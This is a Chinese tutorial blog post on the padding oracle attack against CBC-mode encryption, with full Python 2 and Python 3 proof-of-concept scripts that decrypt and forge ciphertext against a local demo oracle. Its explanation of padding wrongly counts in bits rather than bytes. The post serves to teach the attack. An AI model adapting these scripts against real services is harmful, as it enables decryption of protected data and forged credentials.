数据库
首页 > 数据库> > 一文搞明白 Padding Oracle Attack

一文搞明白 Padding Oracle Attack

作者:互联网

目录

前言

讲讲Padding Oracle Attack,之前在ctf中遇到过一次,但直接拿了网上找的exp就没仔细学,现在回头看看学学

Padding Oracle Attack是比较早的一种漏洞利用方式了,在2011年的Pwnie Rewards中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解

利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:

一、基础知识

1、分组密码

在密码学中,分组加密(Block Cipher),又称分块加密或块密码,是一种对称密钥算法,如3DES、AES在加密时一般都会采用。它将明文分成多个等长的模块(block),如常见的64bit、128bit、256bit,使用确定的算法和对称密钥对每组分别加密解密

分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。最常用的填充操作有PKCS#5:在最后一个block中将不足的bit位数作为bit值进行填充,缺少n个bit,就填充n个0x0n,例如最后一个分组(block)缺少3个bit,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败

看个64bit的block的例子如下,请注意,每个字符串都至少有1个字节的填充数据:

在这里插入图片描述

2、CBC加密模式

分组密码算法有四种模式,分别是ECB、CBC、CFB和OFB,其中CBC是IPSEC的标准做法

CBC(Cipher Block Chaining)主要是引入一个初始化向量(Initialization Vector,IV)来加强密文的随机性,保证相同明文通过相同的密钥加密的结果不一样

这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这行可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"

(1)加密过程

如图所示:

在这里插入图片描述
由于初始化向量(IV)每次加密都是随机的,所以IV经常会被放在密文的前面,解密时先获取前面的IV,再对后面的密文进行解密

(2)解密过程

如图所示:

在这里插入图片描述

二、Padding Oracle Attack 原理

1、根源

这个攻击的根源是明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈,例如请求http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E,当攻击者在篡改data值时会有以下不同的响应:

攻击者只需要关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击

2、破解明文

以一个例子进行猜解,假设有这样一个应用,请求如下:

http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
才能请求正常的服务

(1)上帝视角

加密过程

在这里插入图片描述

解密过程

在这里插入图片描述

关注上图绿色圈起来的部分,解密之后的最后一个数据块,其结尾应该包含正确的填充序列。如果这点没有满足,那么加/解密程序就会抛出一个填充异常。Padding Oracle Attack的关键就是利用程序是否抛出异常来判断padding是否正确。

(2)攻击者视角

现在让我们来看看在不知道明文的情况下,如何猜解出明文。首先我们将密文分组,前面8个字节为初始化向量,后面16个字节为加密后的数据:

初始化向量: 7B  21  6A  63  49  51  17  0F
第一组密文: F8  51  D6  CC  68  FC  95  37
第二组密文: 85  87  95  A2  8E  D4  AA  C6

我们来看如何通过构造前面初始向量来破解第一组密文:http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537

继续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文

3、伪造密文

我们已经知道了中间值,那么只需传递指定的IV,就能制造任意想要的密文,如加密TEST

在这里插入图片描述

4、脚本

(1)perl

https://github.com/AonCyberLabs/PadBuster

(2)python2

"""

    Padding Oracle Attack POC(CBC-MODE)

    Author: axis(axis@ph4nt0m.org)

    http://hi.baidu.com/aullik5

    2011.9

 

    This program is based on Juliano Rizzo and Thai Duong's talk on 

    Practical Padding Oracle Attack.(http://netifera.com/research/)

 

    For Education Purpose Only!!!

 

    This program is free software: you can redistribute it and/or modify

    it under the terms of the GNU General Public License as published by

    the Free Software Foundation, either version 3 of the License, or

    (at your option) any later version.

 

    This program is distributed in the hope that it will be useful,

    but WITHOUT ANY WARRANTY; without even the implied warranty of

    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

    GNU General Public License for more details.

 

    You should have received a copy of the GNU General Public License

    along with this program.  If not, see <http://www.gnu.org/licenses/>.

"""

 

import sys

 

# https://www.dlitz.net/software/pycrypto/

from Crypto.Cipher import *

import binascii

 

# the key for encrypt/decrypt

# we demo the poc here, so we need the key

# in real attack, you can trigger encrypt/decrypt in a complete blackbox env

ENCKEY = 'abcdefgh'

 

def main(args):

  print 

  print "=== Padding Oracle Attack POC(CBC-MODE) ==="

  print "=== by axis ==="

  print "=== axis@ph4nt0m.org ==="

  print "=== 2011.9 ==="

  print 

 

  ########################################

  # you may config this part by yourself

  iv = '12345678'

  plain = 'aaaaaaaaaaaaaaaaX'

  plain_want = "opaas"

 

  # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 

  cipher = "blowfish"

  ########################################

 

  block_size = 8

  if cipher.lower() == "aes":

    block_size = 16

 

  if len(iv) != block_size:

    print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"

    return False

 

  print "=== Generate Target Ciphertext ==="

 

  ciphertext = encrypt(plain, iv, cipher)

  if not ciphertext:

    print "[-] Encrypt Error!"

    return False

 

  print "[+] plaintext is: "+plain

  print "[+] iv is: "+hex_s(iv)

  print "[+] ciphertext is: "+ hex_s(ciphertext)

  print

 

  print "=== Start Padding Oracle Decrypt ==="

  print

  print "[+] Choosing Cipher: "+cipher.upper()

 

  guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)

 

  if guess:

    print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])

    print "[+] plaintext = intermediary_value XOR original_IV"

    print "[+] Guess plaintext is: "+guess["plaintext"]

    print

 

    if plain_want:

      print "=== Start Padding Oracle Encrypt ==="

      print "[+] plaintext want to encrypt is: "+plain_want

      print "[+] Choosing Cipher: "+cipher.upper()

 

      en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)

 

      if en:

        print "[+] Encrypt Success!"

        print "[+] The ciphertext you want is: "+hex_s(en[block_size:])

        print "[+] IV is: "+hex_s(en[:block_size])

        print

       

        print "=== Let's verify the custom encrypt result ==="

        print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"

        de = decrypt(en[block_size:], en[:block_size], cipher)

        if de == add_PKCS5_padding(plain_want, block_size):

          print de

          print "[+] Bingo!"

        else:

          print "[-] It seems something wrong happened!"

          return False

 

    return True

  else:

    return False

 

 

def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):

  # the last block

  guess_cipher = ciphertext[0-block_size:] 

 

  plaintext = add_PKCS5_padding(plaintext, block_size)

  print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)

  print

 

  block = len(plaintext)

  iv_nouse = iv # no use here, in fact we only need intermediary

  prev_cipher = ciphertext[0-block_size:] # init with the last cipher block

  while block > 0:

    # we need the intermediary value

    tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)

 

    # calculate the iv, the iv is the ciphertext of the previous block

    prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )

 

    #save result

    guess_cipher = prev_cipher + guess_cipher

 

    block = block - block_size

 

  return guess_cipher  

 

 

def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):

  # split cipher into blocks; we will manipulate ciphertext block by block

  cipher_block = split_cipher_block(ciphertext, block_size)

 

  if cipher_block:

    result = {}

    result["intermediary"] = ''

    result["plaintext"] = ''

 

    counter = 0

    for c in cipher_block:

      if debug:

        print "[*] Now try to decrypt block "+str(counter)

        print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)

        print

      # padding oracle to each block

      guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)

 

      if guess:

        iv = c

        result["intermediary"] += guess["intermediary"]

        result["plaintext"] += guess["plaintext"]

        if debug:

          print

          print "[+] Block "+str(counter)+" decrypt!"

          print "[+] intermediary value is: "+hex_s(guess["intermediary"])

          print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]

          print

        counter = counter+1

      else:

        print "[-] padding oracle decrypt error!"

        return False

 

    return result

  else:

    print "[-] ciphertext's block_size is incorrect!"    

    return False

 

def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):

  result = {}

  plain = ''

  intermediary = []  # list to save intermediary

  iv_p = [] # list to save the iv we found

 

  for i in range(1, block_size+1):

    iv_try = []

    iv_p = change_iv(iv_p, intermediary, i)

 

    # construct iv

    # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found)

    for k in range(0, block_size-i):

      iv_try.append("\x00")

 

    # bruteforce iv byte for padding oracle

    # 1 bytes to bruteforce, then append the rest bytes

    iv_try.append("\x00")

 

    for b in range(0,256):

      iv_tmp = iv_try

      iv_tmp[len(iv_tmp)-1] = chr(b)

    

      iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)

 

      # append the result of iv, we've just calculate it, saved in iv_p

      for p in range(0,len(iv_p)):

        iv_tmp_s += iv_p[len(iv_p)-1-p]

      

      # in real attack, you have to replace this part to trigger the decrypt program

      #print hex_s(iv_tmp_s) # for debug

      plain = decrypt(ciphertext, iv_tmp_s, cipher)

      #print hex_s(plain) # for debug

 

      # got it!

      # in real attack, you have to replace this part to the padding error judgement

      if check_PKCS5_padding(plain, i):

        if debug:

          print "[*] Try IV: "+hex_s(iv_tmp_s)

          print "[*] Found padding oracle: " + hex_s(plain)

        iv_p.append(chr(b))

        intermediary.append(chr(b ^ i))

        

        break

 

  plain = ''

  for ch in range(0, len(intermediary)):

    plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )

    

  result["plaintext"] = plain

  result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]

  return result

 

# save the iv bytes found by padding oracle into a list

def change_iv(iv_p, intermediary, p):

  for i in range(0, len(iv_p)):

    iv_p[i] = chr( ord(intermediary[i]) ^ p)

  return iv_p  

 

def split_cipher_block(ciphertext, block_size=8):

  if len(ciphertext) % block_size != 0:

    return False

 

  result = []

  length = 0

  while length < len(ciphertext):

    result.append(ciphertext[length:length+block_size])

    length += block_size

 

  return result

 

 

def check_PKCS5_padding(plain, p):

  if len(plain) % 8 != 0:

    return False

 

  # convert the string

  plain = plain[::-1]

  ch = 0

  found = 0

  while ch < p:

    if plain[ch] == chr(p):

      found += 1

    ch += 1 

 

  if found == p:

    return True

  else:

    return False

 

def add_PKCS5_padding(plaintext, block_size):

  s = ''

  if len(plaintext) % block_size == 0:

    return plaintext

 

  if len(plaintext) < block_size:

    padding = block_size - len(plaintext)

  else:

    padding = block_size - (len(plaintext) % block_size)

  

  for i in range(0, padding):

    plaintext += chr(padding)

 

  return plaintext

 

def decrypt(ciphertext, iv, cipher):

  # we only need the padding error itself, not the key

  # you may gain padding error info in other ways

  # in real attack, you may trigger decrypt program

  # a complete blackbox environment

  key = ENCKEY

 

  if cipher.lower() == "des":

    o = DES.new(key, DES.MODE_CBC,iv)

  elif cipher.lower() == "aes":

    o = AES.new(key, AES.MODE_CBC,iv)

  elif cipher.lower() == "des3":

    o = DES3.new(key, DES3.MODE_CBC,iv)

  elif cipher.lower() == "blowfish":

    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

  elif cipher.lower() == "cast":

    o = CAST.new(key, CAST.MODE_CBC,iv)

  elif cipher.lower() == "arc2":

    o = ARC2.new(key, ARC2.MODE_CBC,iv)

  else:

    return False

 

  if len(iv) % 8 != 0:

    return False

 

  if len(ciphertext) % 8 != 0:

    return False

 

  return o.decrypt(ciphertext)

 

 

def encrypt(plaintext, iv, cipher):

  key = ENCKEY

 

  if cipher.lower() == "des":

    if len(key) != 8:

      print "[-] DES key must be 8 bytes long!"

      return False

    o = DES.new(key, DES.MODE_CBC,iv)

  elif cipher.lower() == "aes":

    if len(key) != 16 and len(key) != 24 and len(key) != 32:

      print "[-] AES key must be 16/24/32 bytes long!"

      return False

    o = AES.new(key, AES.MODE_CBC,iv)

  elif cipher.lower() == "des3":

    if len(key) != 16:

      print "[-] Triple DES key must be 16 bytes long!"

      return False

    o = DES3.new(key, DES3.MODE_CBC,iv)

  elif cipher.lower() == "blowfish":

    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

  elif cipher.lower() == "cast":

    o = CAST.new(key, CAST.MODE_CBC,iv)

  elif cipher.lower() == "arc2":

    o = ARC2.new(key, ARC2.MODE_CBC,iv)

  else:

    return False

 

  plaintext = add_PKCS5_padding(plaintext, len(iv))  

 

  return o.encrypt(plaintext)

 

def xor_str(a,b):

  if len(a) != len(b):

    return False

 

  c = ''

  for i in range(0, len(a)):

    c += chr( ord(a[i]) ^ ord(b[i]) )

 

  return c

 

def hex_s(str):

  re = ''

  for i in range(0,len(str)):

    re += "\\x"+binascii.b2a_hex(str[i])

  return re

 

if __name__ == "__main__":

        main(sys.argv)

(3)python3

poa.py

#!/usr/bin/env python

from hexdump import hexdump
from Crypto.Cipher import AES

import IPython


plain = b"Hello World! MTDP! RedTeam! 23333"


class POA(object):
    KEY = b"1234567890abcdef"
    IV = b"0102030405060708"

    @classmethod
    def __pad(cls, text: bytes):
        """PKCS7 padding"""
        text_length = len(text)
        amount_to_pad = AES.block_size - (text_length % AES.block_size)
        if amount_to_pad == 0:
            amount_to_pad = AES.block_size
        pad = chr(amount_to_pad).encode()
        return text + pad * amount_to_pad

    @classmethod
    def __unpad(cls, text: bytes):
        pad = text[-1]
        _pad = text[-pad:]
        for i in _pad:
            if pad != i:
                raise Exception("Error Padding! - %s" % _pad)
        return text[:-pad]

    @classmethod
    def encrypt(cls, plain: bytes):
        pad_plain = cls.__pad(plain)
        aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
        cipher = aes.encrypt(pad_plain)
        hexdump(cipher)
        return cipher

    @classmethod
    def decrypt(cls, cipher: bytes):
        aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
        pad_plain = aes.decrypt(cipher)
        return cls.__unpad(pad_plain)

    @classmethod
    def decrypt_without_result(cls, cipher: bytes):
        try:
            cls.decrypt(cipher)
            return True
        except Exception as e:
            # print(e)
            return False


def test():
    return POA.encrypt(plain)


if __name__ == "__main__":
    cipher = test()
    plain = POA.decrypt(cipher)
    print(plain)

    IPython.embed()

poa_attack.py

#!/usr/bin/env python3

import pdb

from poa import test, POA

from Crypto.Cipher import AES
import IPython


class PaddingOracleAttack(object):

    def __init__(self, cipher, iv):
        self.cipher = cipher

        # 把密文分割成列表,每个列表元素16字节
        self.cipher_lst = self.split_block(self.cipher)

        # 解密的中间值
        self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]

        # 存储计算出来的明文
        self.plain_lst = [[] for _ in self.cipher_lst]

    @classmethod
    def split_block(cls, cipher):
        cipher_list = []
        for i in range(0, len(cipher), 16):
            cipher_list.append(cipher[i: i + 16])
        return cipher_list

    def calc_new_tail(self, tail, idx):
        new_tail = b""
        for t in tail:
            _tail = t ^ (idx - 1) ^ idx
            new_tail += _tail.to_bytes(1, byteorder="big")
        return new_tail

    def brute_middle(self, cipher_line):
        '''暴力破解解密的中间值'''
        tail = b""
        mid_lst = []
        # 从pad 为0x01开始 到 0x10
        for pad in range(1, 17):

            # 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。
            tail = self.calc_new_tail(tail, pad)

            find_pad = False
            for i in range(0, 256):
                # 形成2个密文块
                cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line
                if POA.decrypt_without_result(cipher):
                    # print("[!] Cipher - %s" % cipher)
                    find_pad = True
                    tail = i.to_bytes(1, byteorder="big") + tail

                    mid_chr = i ^ pad
                    mid_lst.insert(0, mid_chr)

            if not find_pad:
                raise Exception("Error not find pad!")

        return bytes(mid_lst)

    @classmethod
    def __pad(cls, text: bytes):
        """PKCS7 padding"""
        text_length = len(text)
        amount_to_pad = AES.block_size - (text_length % AES.block_size)
        if amount_to_pad == 0:
            amount_to_pad = AES.block_size
        pad = chr(amount_to_pad).encode()
        return text + pad * amount_to_pad

    def fake(self, plain, cipher=None, mid=None):
        '''伪造

        :plain: 要伪造的明文
        :last_cipher: 一个密文块
        :last_mid:  密文块解密出来的中间值
        '''
        pad_plain = self.__pad(plain)
        plain_lst = self.split_block(pad_plain)
        mid = mid if mid else self.mid_lst[-1]

        cipher = [cipher if cipher else self.cipher_lst[-1]]

        # 从最后开始计算
        for plain in plain_lst[::-1]:
            need_iv = b""
            for idx in range(len(plain)):
                _m = mid[idx]
                _p = plain[idx]
                need_iv += (_m ^ _p).to_bytes(1, byteorder="big")

            mid = self.brute_middle(need_iv)
            cipher.insert(0, need_iv)

        return cipher[0], b''.join(cipher[1:])

    def decrypt(self):
        '''解密'''
        # 从最后开始计算
        self.mid_lst = []
        for _idx in range(len(self.cipher_lst), 0, -1):
            line_idx = _idx - 1
            cipher_line = self.cipher_lst[line_idx]

            if line_idx >= 1:
                # 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或
                p_cipher_line = self.cipher_lst[line_idx - 1]
            else:
                # 如果是第一行,则其与IV异或
                p_cipher_line = iv

            _mid = self.brute_middle(cipher_line)
            self.mid_lst.insert(0, _mid)
            for idx, _m in enumerate(_mid):
                plain_chr = _m ^ p_cipher_line[idx]
                self.plain_lst[line_idx].append(plain_chr)

        plain = b""
        for p in self.plain_lst:
            plain += bytes(p)

        return plain


if __name__ == "__main__":
    cipher = test()     # 获取密文
    iv = POA.IV         # 获取初始化向量

    poa_atck = PaddingOracleAttack(cipher, iv)
    new_iv, new_cipher = poa_atck.fake(b"wo ai beijing tianan men!")
    plain = poa_atck.decrypt()

    IPython.embed()


结语

经典通过错误响应的反馈进行的攻击

参考:

标签:return,plain,iv,Padding,print,Attack,cipher,Oracle,block
来源: https://blog.csdn.net/weixin_44604541/article/details/117810335